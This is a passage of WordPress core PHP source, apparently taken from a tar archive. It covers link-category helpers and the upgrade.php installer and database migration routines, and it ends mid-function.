clean_bookmark_cache( $link_id ); return $link_id; } /** * Update link with the specified link categories. * * @since 2.1.0 * * @param int $link_id ID of link to update * @param array $link_categories Array of categories to */ function wp_set_link_cats( $link_id = 0, $link_categories = array() ) { // If $link_categories isn't already an array, make it one: if ( !is_array( $link_categories ) || 0 == count( $link_categories ) ) $link_categories = array( get_option( 'default_link_category' ) ); $link_categories = array_map( 'intval', $link_categories ); $link_categories = array_unique( $link_categories ); wp_set_object_terms( $link_id, $link_categories, 'link_category' ); clean_bookmark_cache( $link_id ); } /** * Update a link in the database. * * @since 2.0.0 * * @param array $linkdata Link data to update. * @return int|WP_Error Value 0 or WP_Error on failure. The updated link ID on success. */ function wp_update_link( $linkdata ) { $link_id = (int) $linkdata['link_id']; $link = get_bookmark( $link_id, ARRAY_A ); // Escape data pulled from DB. $link = wp_slash( $link ); // Passed link category list overwrites existing category list if not empty. if ( isset( $linkdata['link_category'] ) && is_array( $linkdata['link_category'] ) && 0 != count( $linkdata['link_category'] ) ) $link_cats = $linkdata['link_category']; else $link_cats = $link['link_category']; // Merge old and new fields with new fields overwriting old ones. $linkdata = array_merge( $link, $linkdata ); $linkdata['link_category'] = $link_cats; return wp_insert_link( $linkdata ); } /** * @since 3.5.0 * @access private */ function wp_link_manager_disabled_message() { global $pagenow; if ( 'link-manager.php' != $pagenow && 'link-add.php' != $pagenow && 'link.php' != $pagenow ) return; add_filter( 'pre_option_link_manager_enabled', '__return_true', 100 ); $really_can_manage_links = current_user_can( 'manage_links' ); remove_filter( 'pre_option_link_manager_enabled', '__return_true', 100 ); if ( $really_can_manage_links && current_user_can( 'install_plugins' ) ) { $link = network_admin_url( 'plugin-install.php?tab=search&s=Link+Manager' ); wp_die( sprintf( __( 'If you are looking to use the link manager, please install the <a href="%s">Link Manager</a> plugin.' ), $link ) ); } wp_die( __( 'You do not have sufficient permissions to edit the links for this site.' ) ); } add_action( 'admin_page_access_denied', 'wp_link_manager_disabled_message' ); upgrade.php000077700000213072151514577750006741 0ustar00<?php /** * WordPress Upgrade API * * Most of the functions are pluggable and can be overwritten * * @package WordPress * @subpackage Administration */ /** Include user install customize script. */ if ( file_exists(WP_CONTENT_DIR . '/install.php') ) require (WP_CONTENT_DIR . '/install.php'); /** WordPress Administration API */ require_once(ABSPATH . 'wp-admin/includes/admin.php'); /** WordPress Schema API */ require_once(ABSPATH . 'wp-admin/includes/schema.php'); if ( !function_exists('wp_install') ) : /** * Installs the blog * * {@internal Missing Long Description}} * * @since 2.1.0 * * @param string $blog_title Blog title. * @param string $user_name User's username. * @param string $user_email User's email. * @param bool $public Whether blog is public. * @param null $deprecated Optional. Not used. * @param string $user_password Optional. User's chosen password. Will default to a random password. * @return array Array keys 'url', 'user_id', 'password', 'password_message'. */ function wp_install( $blog_title, $user_name, $user_email, $public, $deprecated = '', $user_password = '' ) { if ( !empty( $deprecated ) ) _deprecated_argument( __FUNCTION__, '2.6' ); wp_check_mysql_version(); wp_cache_flush(); make_db_current_silent(); populate_options(); populate_roles(); update_option('blogname', $blog_title); update_option('admin_email', $user_email); update_option('blog_public', $public); $guessurl = wp_guess_url(); update_option('siteurl', $guessurl); // If not a public blog, don't ping. if ( ! $public ) update_option('default_pingback_flag', 0); // Create default user. If the user already exists, the user tables are // being shared among blogs. Just set the role in that case. $user_id = username_exists($user_name); $user_password = trim($user_password); $email_password = false; if ( !$user_id && empty($user_password) ) { $user_password = wp_generate_password( 12, false ); $message = __('<strong><em>Note that password</em></strong> carefully! It is a <em>random</em> password that was generated just for you.'); $user_id = wp_create_user($user_name, $user_password, $user_email); update_user_option($user_id, 'default_password_nag', true, true); $email_password = true; } else if ( !$user_id ) { // Password has been provided $message = '<em>'.__('Your chosen password.').'</em>'; $user_id = wp_create_user($user_name, $user_password, $user_email); } else { $message = __('User already exists. Password inherited.'); } $user = new WP_User($user_id); $user->set_role('administrator'); wp_install_defaults($user_id); flush_rewrite_rules(); wp_new_blog_notification($blog_title, $guessurl, $user_id, ($email_password ? $user_password : __('The password you chose during the install.') ) ); wp_cache_flush(); /** * Fires after a site is fully installed. * * @since 3.9.0 * * @param WP_User $user The site owner. */ do_action( 'wp_install', $user ); return array('url' => $guessurl, 'user_id' => $user_id, 'password' => $user_password, 'password_message' => $message); } endif; if ( !function_exists('wp_install_defaults') ) : /** * {@internal Missing Short Description}} * * {@internal Missing Long Description}} * * @since 2.1.0 * * @param int $user_id User ID. */ function wp_install_defaults( $user_id ) { global $wpdb, $wp_rewrite, $table_prefix; // Default category $cat_name = __('Uncategorized'); /* translators: Default category slug */ $cat_slug = sanitize_title(_x('Uncategorized', 'Default category slug')); if ( global_terms_enabled() ) { $cat_id = $wpdb->get_var( $wpdb->prepare( "SELECT cat_ID FROM {$wpdb->sitecategories} WHERE category_nicename = %s", $cat_slug ) ); if ( $cat_id == null ) { $wpdb->insert( $wpdb->sitecategories, array('cat_ID' => 0, 'cat_name' => $cat_name, 'category_nicename' => $cat_slug, 'last_updated' => current_time('mysql', true)) ); $cat_id = $wpdb->insert_id; } update_option('default_category', $cat_id); } else { $cat_id = 1; } $wpdb->insert( $wpdb->terms, array('term_id' => $cat_id, 'name' => $cat_name, 'slug' => $cat_slug, 'term_group' => 0) ); $wpdb->insert( $wpdb->term_taxonomy, array('term_id' => $cat_id, 'taxonomy' => 'category', 'description' => '', 'parent' => 0, 'count' => 1)); $cat_tt_id = $wpdb->insert_id; // First post $now = date('Y-m-d H:i:s'); $now_gmt = gmdate('Y-m-d H:i:s'); $first_post_guid = get_option('home') . '/?p=1'; if ( is_multisite() ) { $first_post = get_site_option( 'first_post' ); if ( empty($first_post) ) $first_post = __( 'Welcome to <a href="SITE_URL">SITE_NAME</a>. This is your first post. Edit or delete it, then start blogging!' ); $first_post = str_replace( "SITE_URL", esc_url( network_home_url() ), $first_post ); $first_post = str_replace( "SITE_NAME", get_current_site()->site_name, $first_post ); } else { $first_post = __('Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!'); } $wpdb->insert( $wpdb->posts, array( 'post_author' => $user_id, 'post_date' => $now, 'post_date_gmt' => $now_gmt, 'post_content' => $first_post, 'post_excerpt' => '', 'post_title' => __('Hello world!'), /* translators: Default post slug */ 'post_name' => sanitize_title( _x('hello-world', 'Default post slug') ), 'post_modified' => $now, 'post_modified_gmt' => $now_gmt, 'guid' => $first_post_guid, 'comment_count' => 1, 'to_ping' => '', 'pinged' => '', 'post_content_filtered' => '' )); $wpdb->insert( $wpdb->term_relationships, array('term_taxonomy_id' => $cat_tt_id, 'object_id' => 1) ); // Default comment $first_comment_author = __('Mr WordPress'); $first_comment_url = 'https://wordpress.org/'; $first_comment = __('Hi, this is a comment. To delete a comment, just log in and view the post's comments. There you will have the option to edit or delete them.'); if ( is_multisite() ) { $first_comment_author = get_site_option( 'first_comment_author', $first_comment_author ); $first_comment_url = get_site_option( 'first_comment_url', network_home_url() ); $first_comment = get_site_option( 'first_comment', $first_comment ); } $wpdb->insert( $wpdb->comments, array( 'comment_post_ID' => 1, 'comment_author' => $first_comment_author, 'comment_author_email' => '', 'comment_author_url' => $first_comment_url, 'comment_date' => $now, 'comment_date_gmt' => $now_gmt, 'comment_content' => $first_comment )); // First Page $first_page = sprintf( __( "This is an example page. It's different from a blog post because it will stay in one place and will show up in your site navigation (in most themes). Most people start with an About page that introduces them to potential site visitors. It might say something like this: <blockquote>Hi there! I'm a bike messenger by day, aspiring actor by night, and this is my blog. I live in Los Angeles, have a great dog named Jack, and I like piña coladas. (And gettin' caught in the rain.)</blockquote> ...or something like this: <blockquote>The XYZ Doohickey Company was founded in 1971, and has been providing quality doohickeys to the public ever since. Located in Gotham City, XYZ employs over 2,000 people and does all kinds of awesome things for the Gotham community.</blockquote> As a new WordPress user, you should go to <a href=\"%s\">your dashboard</a> to delete this page and create new pages for your content. Have fun!" ), admin_url() ); if ( is_multisite() ) $first_page = get_site_option( 'first_page', $first_page ); $first_post_guid = get_option('home') . '/?page_id=2'; $wpdb->insert( $wpdb->posts, array( 'post_author' => $user_id, 'post_date' => $now, 'post_date_gmt' => $now_gmt, 'post_content' => $first_page, 'post_excerpt' => '', 'post_title' => __( 'Sample Page' ), /* translators: Default page slug */ 'post_name' => __( 'sample-page' ), 'post_modified' => $now, 'post_modified_gmt' => $now_gmt, 'guid' => $first_post_guid, 'post_type' => 'page', 'to_ping' => '', 'pinged' => '', 'post_content_filtered' => '' )); $wpdb->insert( $wpdb->postmeta, array( 'post_id' => 2, 'meta_key' => '_wp_page_template', 'meta_value' => 'default' ) ); // Set up default widgets for default theme. update_option( 'widget_search', array ( 2 => array ( 'title' => '' ), '_multiwidget' => 1 ) ); update_option( 'widget_recent-posts', array ( 2 => array ( 'title' => '', 'number' => 5 ), '_multiwidget' => 1 ) ); update_option( 'widget_recent-comments', array ( 2 => array ( 'title' => '', 'number' => 5 ), '_multiwidget' => 1 ) ); update_option( 'widget_archives', array ( 2 => array ( 'title' => '', 'count' => 0, 'dropdown' => 0 ), '_multiwidget' => 1 ) ); update_option( 'widget_categories', array ( 2 => array ( 'title' => '', 'count' => 0, 'hierarchical' => 0, 'dropdown' => 0 ), '_multiwidget' => 1 ) ); update_option( 'widget_meta', array ( 2 => array ( 'title' => '' ), '_multiwidget' => 1 ) ); update_option( 'sidebars_widgets', array ( 'wp_inactive_widgets' => array (), 'sidebar-1' => array ( 0 => 'search-2', 1 => 'recent-posts-2', 2 => 'recent-comments-2', 3 => 'archives-2', 4 => 'categories-2', 5 => 'meta-2', ), 'sidebar-2' => array (), 'sidebar-3' => array (), 'array_version' => 3 ) ); if ( ! is_multisite() ) update_user_meta( $user_id, 'show_welcome_panel', 1 ); elseif ( ! is_super_admin( $user_id ) && ! metadata_exists( 'user', $user_id, 'show_welcome_panel' ) ) update_user_meta( $user_id, 'show_welcome_panel', 2 ); if ( is_multisite() ) { // Flush rules to pick up the new page. $wp_rewrite->init(); $wp_rewrite->flush_rules(); $user = new WP_User($user_id); $wpdb->update( $wpdb->options, array('option_value' => $user->user_email), array('option_name' => 'admin_email') ); // Remove all perms except for the login user. $wpdb->query( $wpdb->prepare("DELETE FROM $wpdb->usermeta WHERE user_id != %d AND meta_key = %s", $user_id, $table_prefix.'user_level') ); $wpdb->query( $wpdb->prepare("DELETE FROM $wpdb->usermeta WHERE user_id != %d AND meta_key = %s", $user_id, $table_prefix.'capabilities') ); // Delete any caps that snuck into the previously active blog. (Hardcoded to blog 1 for now.) TODO: Get previous_blog_id. if ( !is_super_admin( $user_id ) && $user_id != 1 ) $wpdb->delete( $wpdb->usermeta, array( 'user_id' => $user_id , 'meta_key' => $wpdb->base_prefix.'1_capabilities' ) ); } } endif; if ( !function_exists('wp_new_blog_notification') ) : /** * {@internal Missing Short Description}} * * {@internal Missing Long Description}} * * @since 2.1.0 * * @param string $blog_title Blog title. * @param string $blog_url Blog url. * @param int $user_id User ID. * @param string $password User's Password. */ function wp_new_blog_notification($blog_title, $blog_url, $user_id, $password) { $user = new WP_User( $user_id ); $email = $user->user_email; $name = $user->user_login; $message = sprintf(__("Your new WordPress site has been successfully set up at: %1\$s You can log in to the administrator account with the following information: Username: %2\$s Password: %3\$s We hope you enjoy your new site. Thanks! --The WordPress Team https://wordpress.org/ "), $blog_url, $name, $password); @wp_mail($email, __('New WordPress Site'), $message); } endif; if ( !function_exists('wp_upgrade') ) : /** * Run WordPress Upgrade functions. * * {@internal Missing Long Description}} * * @since 2.1.0 * * @return null */ function wp_upgrade() { global $wp_current_db_version, $wp_db_version, $wpdb; $wp_current_db_version = __get_option('db_version'); // We are up-to-date. Nothing to do. if ( $wp_db_version == $wp_current_db_version ) return; if ( ! is_blog_installed() ) return; wp_check_mysql_version(); wp_cache_flush(); pre_schema_upgrade(); make_db_current_silent(); upgrade_all(); if ( is_multisite() && is_main_site() ) upgrade_network(); wp_cache_flush(); if ( is_multisite() ) { if ( $wpdb->get_row( "SELECT blog_id FROM {$wpdb->blog_versions} WHERE blog_id = '{$wpdb->blogid}'" ) ) $wpdb->query( "UPDATE {$wpdb->blog_versions} SET db_version = '{$wp_db_version}' WHERE blog_id = '{$wpdb->blogid}'" ); else $wpdb->query( "INSERT INTO {$wpdb->blog_versions} ( `blog_id` , `db_version` , `last_updated` ) VALUES ( '{$wpdb->blogid}', '{$wp_db_version}', NOW());" ); } /** * Fires after a site is fully upgraded. * * @since 3.9.0 * * @param int $wp_db_version The new $wp_db_version. * @param int $wp_current_db_version The old (current) $wp_db_version. */ do_action( 'wp_upgrade', $wp_db_version, $wp_current_db_version ); } endif; /** * Functions to be called in install and upgrade scripts. * * {@internal Missing Long Description}} * * @since 1.0.1 */ function upgrade_all() { global $wp_current_db_version, $wp_db_version; $wp_current_db_version = __get_option('db_version'); // We are up-to-date. Nothing to do. if ( $wp_db_version == $wp_current_db_version ) return; // If the version is not set in the DB, try to guess the version. if ( empty($wp_current_db_version) ) { $wp_current_db_version = 0; // If the template option exists, we have 1.5. $template = __get_option('template'); if ( !empty($template) ) $wp_current_db_version = 2541; } if ( $wp_current_db_version < 6039 ) upgrade_230_options_table(); populate_options(); if ( $wp_current_db_version < 2541 ) { upgrade_100(); upgrade_101(); upgrade_110(); upgrade_130(); } if ( $wp_current_db_version < 3308 ) upgrade_160(); if ( $wp_current_db_version < 4772 ) upgrade_210(); if ( $wp_current_db_version < 4351 ) upgrade_old_slugs(); if ( $wp_current_db_version < 5539 ) upgrade_230(); if ( $wp_current_db_version < 6124 ) upgrade_230_old_tables(); if ( $wp_current_db_version < 7499 ) upgrade_250(); if ( $wp_current_db_version < 7935 ) upgrade_252(); if ( $wp_current_db_version < 8201 ) upgrade_260(); if ( $wp_current_db_version < 8989 ) upgrade_270(); if ( $wp_current_db_version < 10360 ) upgrade_280(); if ( $wp_current_db_version < 11958 ) upgrade_290(); if ( $wp_current_db_version < 15260 ) upgrade_300(); if ( $wp_current_db_version < 19389 ) upgrade_330(); if ( $wp_current_db_version < 20080 ) upgrade_340(); if ( $wp_current_db_version < 22422 ) upgrade_350(); if ( $wp_current_db_version < 25824 ) upgrade_370(); if ( $wp_current_db_version < 26148 ) upgrade_372(); if ( $wp_current_db_version < 26691 ) upgrade_380(); if ( $wp_current_db_version < 27918 ) upgrade_397(); maybe_disable_link_manager(); maybe_disable_automattic_widgets(); update_option( 'db_version', $wp_db_version ); update_option( 'db_upgraded', true ); } /** * Execute changes made in WordPress 1.0. * * @since 1.0.0 */ function upgrade_100() { global $wpdb; // Get the title and ID of every post, post_name to check if it already has a value $posts = $wpdb->get_results("SELECT ID, post_title, post_name FROM $wpdb->posts WHERE post_name = ''"); if ($posts) { foreach($posts as $post) { if ('' == $post->post_name) { $newtitle = sanitize_title($post->post_title); $wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET post_name = %s WHERE ID = %d", $newtitle, $post->ID) ); } } } $categories = $wpdb->get_results("SELECT cat_ID, cat_name, category_nicename FROM $wpdb->categories"); foreach ($categories as $category) { if ('' == $category->category_nicename) { $newtitle = sanitize_title($category->cat_name); $wpdb->update( $wpdb->categories, array('category_nicename' => $newtitle), array('cat_ID' => $category->cat_ID) ); } } $wpdb->query("UPDATE $wpdb->options SET option_value = REPLACE(option_value, 'wp-links/links-images/', 'wp-images/links/') WHERE option_name LIKE 'links_rating_image%' AND option_value LIKE 'wp-links/links-images/%'"); $done_ids = $wpdb->get_results("SELECT DISTINCT post_id FROM $wpdb->post2cat"); if ($done_ids) : foreach ($done_ids as $done_id) : $done_posts[] = $done_id->post_id; endforeach; $catwhere = ' AND ID NOT IN (' . implode(',', $done_posts) . ')'; else: $catwhere = ''; endif; $allposts = $wpdb->get_results("SELECT ID, post_category FROM $wpdb->posts WHERE post_category != '0' $catwhere"); if ($allposts) : foreach ($allposts as $post) { // Check to see if it's already been imported $cat = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->post2cat WHERE post_id = %d AND category_id = %d", $post->ID, $post->post_category) ); if (!$cat && 0 != $post->post_category) { // If there's no result $wpdb->insert( $wpdb->post2cat, array('post_id' => $post->ID, 'category_id' => $post->post_category) ); } } endif; } /** * Execute changes made in WordPress 1.0.1. * * @since 1.0.1 */ function upgrade_101() { global $wpdb; // Clean up indices, add a few add_clean_index($wpdb->posts, 'post_name'); add_clean_index($wpdb->posts, 'post_status'); add_clean_index($wpdb->categories, 'category_nicename'); add_clean_index($wpdb->comments, 'comment_approved'); add_clean_index($wpdb->comments, 'comment_post_ID'); add_clean_index($wpdb->links , 'link_category'); add_clean_index($wpdb->links , 'link_visible'); } /** * Execute changes made in WordPress 1.2. * * @since 1.2.0 */ function upgrade_110() { global $wpdb; // Set user_nicename. $users = $wpdb->get_results("SELECT ID, user_nickname, user_nicename FROM $wpdb->users"); foreach ($users as $user) { if ('' == $user->user_nicename) { $newname = sanitize_title($user->user_nickname); $wpdb->update( $wpdb->users, array('user_nicename' => $newname), array('ID' => $user->ID) ); } } $users = $wpdb->get_results("SELECT ID, user_pass from $wpdb->users"); foreach ($users as $row) { if (!preg_match('/^[A-Fa-f0-9]{32}$/', $row->user_pass)) { $wpdb->update( $wpdb->users, array('user_pass' => md5($row->user_pass)), array('ID' => $row->ID) ); } } // Get the GMT offset, we'll use that later on $all_options = get_alloptions_110(); $time_difference = $all_options->time_difference; $server_time = time()+date('Z'); $weblogger_time = $server_time + $time_difference * HOUR_IN_SECONDS; $gmt_time = time(); $diff_gmt_server = ($gmt_time - $server_time) / HOUR_IN_SECONDS; $diff_weblogger_server = ($weblogger_time - $server_time) / HOUR_IN_SECONDS; $diff_gmt_weblogger = $diff_gmt_server - $diff_weblogger_server; $gmt_offset = -$diff_gmt_weblogger; // Add a gmt_offset option, with value $gmt_offset add_option('gmt_offset', $gmt_offset); // Check if we already set the GMT fields (if we did, then // MAX(post_date_gmt) can't be '0000-00-00 00:00:00' // <michel_v> I just slapped myself silly for not thinking about it earlier $got_gmt_fields = ! ($wpdb->get_var("SELECT MAX(post_date_gmt) FROM $wpdb->posts") == '0000-00-00 00:00:00'); if (!$got_gmt_fields) { // Add or subtract time to all dates, to get GMT dates $add_hours = intval($diff_gmt_weblogger); $add_minutes = intval(60 * ($diff_gmt_weblogger - $add_hours)); $wpdb->query("UPDATE $wpdb->posts SET post_date_gmt = DATE_ADD(post_date, INTERVAL '$add_hours:$add_minutes' HOUR_MINUTE)"); $wpdb->query("UPDATE $wpdb->posts SET post_modified = post_date"); $wpdb->query("UPDATE $wpdb->posts SET post_modified_gmt = DATE_ADD(post_modified, INTERVAL '$add_hours:$add_minutes' HOUR_MINUTE) WHERE post_modified != '0000-00-00 00:00:00'"); $wpdb->query("UPDATE $wpdb->comments SET comment_date_gmt = DATE_ADD(comment_date, INTERVAL '$add_hours:$add_minutes' HOUR_MINUTE)"); $wpdb->query("UPDATE $wpdb->users SET user_registered = DATE_ADD(user_registered, INTERVAL '$add_hours:$add_minutes' HOUR_MINUTE)"); } } /** * Execute changes made in WordPress 1.5. * * @since 1.5.0 */ function upgrade_130() { global $wpdb; // Remove extraneous backslashes. $posts = $wpdb->get_results("SELECT ID, post_title, post_content, post_excerpt, guid, post_date, post_name, post_status, post_author FROM $wpdb->posts"); if ($posts) { foreach($posts as $post) { $post_content = addslashes(deslash($post->post_content)); $post_title = addslashes(deslash($post->post_title)); $post_excerpt = addslashes(deslash($post->post_excerpt)); if ( empty($post->guid) ) $guid = get_permalink($post->ID); else $guid = $post->guid; $wpdb->update( $wpdb->posts, compact('post_title', 'post_content', 'post_excerpt', 'guid'), array('ID' => $post->ID) ); } } // Remove extraneous backslashes. $comments = $wpdb->get_results("SELECT comment_ID, comment_author, comment_content FROM $wpdb->comments"); if ($comments) { foreach($comments as $comment) { $comment_content = deslash($comment->comment_content); $comment_author = deslash($comment->comment_author); $wpdb->update($wpdb->comments, compact('comment_content', 'comment_author'), array('comment_ID' => $comment->comment_ID) ); } } // Remove extraneous backslashes. $links = $wpdb->get_results("SELECT link_id, link_name, link_description FROM $wpdb->links"); if ($links) { foreach($links as $link) { $link_name = deslash($link->link_name); $link_description = deslash($link->link_description); $wpdb->update( $wpdb->links, compact('link_name', 'link_description'), array('link_id' => $link->link_id) ); } } $active_plugins = __get_option('active_plugins'); // If plugins are not stored in an array, they're stored in the old // newline separated format. Convert to new format. if ( !is_array( $active_plugins ) ) { $active_plugins = explode("\n", trim($active_plugins)); update_option('active_plugins', $active_plugins); } // Obsolete tables $wpdb->query('DROP TABLE IF EXISTS ' . $wpdb->prefix . 'optionvalues'); $wpdb->query('DROP TABLE IF EXISTS ' . $wpdb->prefix . 'optiontypes'); $wpdb->query('DROP TABLE IF EXISTS ' . $wpdb->prefix . 'optiongroups'); $wpdb->query('DROP TABLE IF EXISTS ' . $wpdb->prefix . 'optiongroup_options'); // Update comments table to use comment_type $wpdb->query("UPDATE $wpdb->comments SET comment_type='trackback', comment_content = REPLACE(comment_content, '<trackback />', '') WHERE comment_content LIKE '<trackback />%'"); $wpdb->query("UPDATE $wpdb->comments SET comment_type='pingback', comment_content = REPLACE(comment_content, '<pingback />', '') WHERE comment_content LIKE '<pingback />%'"); // Some versions have multiple duplicate option_name rows with the same values $options = $wpdb->get_results("SELECT option_name, COUNT(option_name) AS dupes FROM `$wpdb->options` GROUP BY option_name"); foreach ( $options as $option ) { if ( 1 != $option->dupes ) { // Could this be done in the query? $limit = $option->dupes - 1; $dupe_ids = $wpdb->get_col( $wpdb->prepare("SELECT option_id FROM $wpdb->options WHERE option_name = %s LIMIT %d", $option->option_name, $limit) ); if ( $dupe_ids ) { $dupe_ids = join($dupe_ids, ','); $wpdb->query("DELETE FROM $wpdb->options WHERE option_id IN ($dupe_ids)"); } } } make_site_theme(); } /** * Execute changes made in WordPress 2.0. * * @since 2.0.0 */ function upgrade_160() { global $wpdb, $wp_current_db_version; populate_roles_160(); $users = $wpdb->get_results("SELECT * FROM $wpdb->users"); foreach ( $users as $user ) : if ( !empty( $user->user_firstname ) ) update_user_meta( $user->ID, 'first_name', wp_slash($user->user_firstname) ); if ( !empty( $user->user_lastname ) ) update_user_meta( $user->ID, 'last_name', wp_slash($user->user_lastname) ); if ( !empty( $user->user_nickname ) ) update_user_meta( $user->ID, 'nickname', wp_slash($user->user_nickname) ); if ( !empty( $user->user_level ) ) update_user_meta( $user->ID, $wpdb->prefix . 'user_level', $user->user_level ); if ( !empty( $user->user_icq ) ) update_user_meta( $user->ID, 'icq', wp_slash($user->user_icq) ); if ( !empty( $user->user_aim ) ) update_user_meta( $user->ID, 'aim', wp_slash($user->user_aim) ); if ( !empty( $user->user_msn ) ) update_user_meta( $user->ID, 'msn', wp_slash($user->user_msn) ); if ( !empty( $user->user_yim ) ) update_user_meta( $user->ID, 'yim', wp_slash($user->user_icq) ); if ( !empty( $user->user_description ) ) update_user_meta( $user->ID, 'description', wp_slash($user->user_description) ); if ( isset( $user->user_idmode ) ): $idmode = $user->user_idmode; if ($idmode == 'nickname') $id = $user->user_nickname; if ($idmode == 'login') $id = $user->user_login; if ($idmode == 'firstname') $id = $user->user_firstname; if ($idmode == 'lastname') $id = $user->user_lastname; if ($idmode == 'namefl') $id = $user->user_firstname.' '.$user->user_lastname; if ($idmode == 'namelf') $id = $user->user_lastname.' '.$user->user_firstname; if (!$idmode) $id = $user->user_nickname; $wpdb->update( $wpdb->users, array('display_name' => $id), array('ID' => $user->ID) ); endif; // FIXME: RESET_CAPS is temporary code to reset roles and caps if flag is set. $caps = get_user_meta( $user->ID, $wpdb->prefix . 'capabilities'); if ( empty($caps) || defined('RESET_CAPS') ) { $level = get_user_meta($user->ID, $wpdb->prefix . 'user_level', true); $role = translate_level_to_role($level); update_user_meta( $user->ID, $wpdb->prefix . 'capabilities', array($role => true) ); } endforeach; $old_user_fields = array( 'user_firstname', 'user_lastname', 'user_icq', 'user_aim', 'user_msn', 'user_yim', 'user_idmode', 'user_ip', 'user_domain', 'user_browser', 'user_description', 'user_nickname', 'user_level' ); $wpdb->hide_errors(); foreach ( $old_user_fields as $old ) $wpdb->query("ALTER TABLE $wpdb->users DROP $old"); $wpdb->show_errors(); // populate comment_count field of posts table $comments = $wpdb->get_results( "SELECT comment_post_ID, COUNT(*) as c FROM $wpdb->comments WHERE comment_approved = '1' GROUP BY comment_post_ID" ); if ( is_array( $comments ) ) foreach ($comments as $comment) $wpdb->update( $wpdb->posts, array('comment_count' => $comment->c), array('ID' => $comment->comment_post_ID) ); // Some alpha versions used a post status of object instead of attachment and put // the mime type in post_type instead of post_mime_type. if ( $wp_current_db_version > 2541 && $wp_current_db_version <= 3091 ) { $objects = $wpdb->get_results("SELECT ID, post_type FROM $wpdb->posts WHERE post_status = 'object'"); foreach ($objects as $object) { $wpdb->update( $wpdb->posts, array( 'post_status' => 'attachment', 'post_mime_type' => $object->post_type, 'post_type' => ''), array( 'ID' => $object->ID ) ); $meta = get_post_meta($object->ID, 'imagedata', true); if ( ! empty($meta['file']) ) update_attached_file( $object->ID, $meta['file'] ); } } } /** * Execute changes made in WordPress 2.1. * * @since 2.1.0 */ function upgrade_210() { global $wpdb, $wp_current_db_version; if ( $wp_current_db_version < 3506 ) { // Update status and type. $posts = $wpdb->get_results("SELECT ID, post_status FROM $wpdb->posts"); if ( ! empty($posts) ) foreach ($posts as $post) { $status = $post->post_status; $type = 'post'; if ( 'static' == $status ) { $status = 'publish'; $type = 'page'; } else if ( 'attachment' == $status ) { $status = 'inherit'; $type = 'attachment'; } $wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET post_status = %s, post_type = %s WHERE ID = %d", $status, $type, $post->ID) ); } } if ( $wp_current_db_version < 3845 ) { populate_roles_210(); } if ( $wp_current_db_version < 3531 ) { // Give future posts a post_status of future. $now = gmdate('Y-m-d H:i:59'); $wpdb->query ("UPDATE $wpdb->posts SET post_status = 'future' WHERE post_status = 'publish' AND post_date_gmt > '$now'"); $posts = $wpdb->get_results("SELECT ID, post_date FROM $wpdb->posts WHERE post_status ='future'"); if ( !empty($posts) ) foreach ( $posts as $post ) wp_schedule_single_event(mysql2date('U', $post->post_date, false), 'publish_future_post', array($post->ID)); } } /** * Execute changes made in WordPress 2.3. * * @since 2.3.0 */ function upgrade_230() { global $wp_current_db_version, $wpdb; if ( $wp_current_db_version < 5200 ) { populate_roles_230(); } // Convert categories to terms. $tt_ids = array(); $have_tags = false; $categories = $wpdb->get_results("SELECT * FROM $wpdb->categories ORDER BY cat_ID"); foreach ($categories as $category) { $term_id = (int) $category->cat_ID; $name = $category->cat_name; $description = $category->category_description; $slug = $category->category_nicename; $parent = $category->category_parent; $term_group = 0; // Associate terms with the same slug in a term group and make slugs unique. if ( $exists = $wpdb->get_results( $wpdb->prepare("SELECT term_id, term_group FROM $wpdb->terms WHERE slug = %s", $slug) ) ) { $term_group = $exists[0]->term_group; $id = $exists[0]->term_id; $num = 2; do { $alt_slug = $slug . "-$num"; $num++; $slug_check = $wpdb->get_var( $wpdb->prepare("SELECT slug FROM $wpdb->terms WHERE slug = %s", $alt_slug) ); } while ( $slug_check ); $slug = $alt_slug; if ( empty( $term_group ) ) { $term_group = $wpdb->get_var("SELECT MAX(term_group) FROM $wpdb->terms GROUP BY term_group") + 1; $wpdb->query( $wpdb->prepare("UPDATE $wpdb->terms SET term_group = %d WHERE term_id = %d", $term_group, $id) ); } } $wpdb->query( $wpdb->prepare("INSERT INTO $wpdb->terms (term_id, name, slug, term_group) VALUES (%d, %s, %s, %d)", $term_id, $name, $slug, $term_group) ); $count = 0; if ( !empty($category->category_count) ) { $count = (int) $category->category_count; $taxonomy = 'category'; $wpdb->query( $wpdb->prepare("INSERT INTO $wpdb->term_taxonomy (term_id, taxonomy, description, parent, count) VALUES ( %d, %s, %s, %d, %d)", $term_id, $taxonomy, $description, $parent, $count) ); $tt_ids[$term_id][$taxonomy] = (int) $wpdb->insert_id; } if ( !empty($category->link_count) ) { $count = (int) $category->link_count; $taxonomy = 'link_category'; $wpdb->query( $wpdb->prepare("INSERT INTO $wpdb->term_taxonomy (term_id, taxonomy, description, parent, count) VALUES ( %d, %s, %s, %d, %d)", $term_id, $taxonomy, $description, $parent, $count) ); $tt_ids[$term_id][$taxonomy] = (int) $wpdb->insert_id; } if ( !empty($category->tag_count) ) { $have_tags = true; $count = (int) $category->tag_count; $taxonomy = 'post_tag'; $wpdb->insert( $wpdb->term_taxonomy, compact('term_id', 'taxonomy', 'description', 'parent', 'count') ); $tt_ids[$term_id][$taxonomy] = (int) $wpdb->insert_id; } if ( empty($count) ) { $count = 0; $taxonomy = 'category'; $wpdb->insert( $wpdb->term_taxonomy, compact('term_id', 'taxonomy', 'description', 'parent', 'count') ); $tt_ids[$term_id][$taxonomy] = (int) $wpdb->insert_id; } } $select = 'post_id, category_id'; if ( $have_tags ) $select .= ', rel_type'; $posts = $wpdb->get_results("SELECT $select FROM $wpdb->post2cat GROUP BY post_id, category_id"); foreach ( $posts as $post ) { $post_id = (int) $post->post_id; $term_id = (int) $post->category_id; $taxonomy = 'category'; if ( !empty($post->rel_type) && 'tag' == $post->rel_type) $taxonomy = 'tag'; $tt_id = $tt_ids[$term_id][$taxonomy]; if ( empty($tt_id) ) continue; $wpdb->insert( $wpdb->term_relationships, array('object_id' => $post_id, 'term_taxonomy_id' => $tt_id) ); } // < 3570 we used linkcategories. >= 3570 we used categories and link2cat. if ( $wp_current_db_version < 3570 ) { // Create link_category terms for link categories. Create a map of link cat IDs // to link_category terms. $link_cat_id_map = array(); $default_link_cat = 0; $tt_ids = array(); $link_cats = $wpdb->get_results("SELECT cat_id, cat_name FROM " . $wpdb->prefix . 'linkcategories'); foreach ( $link_cats as $category) { $cat_id = (int) $category->cat_id; $term_id = 0; $name = wp_slash($category->cat_name); $slug = sanitize_title($name); $term_group = 0; // Associate terms with the same 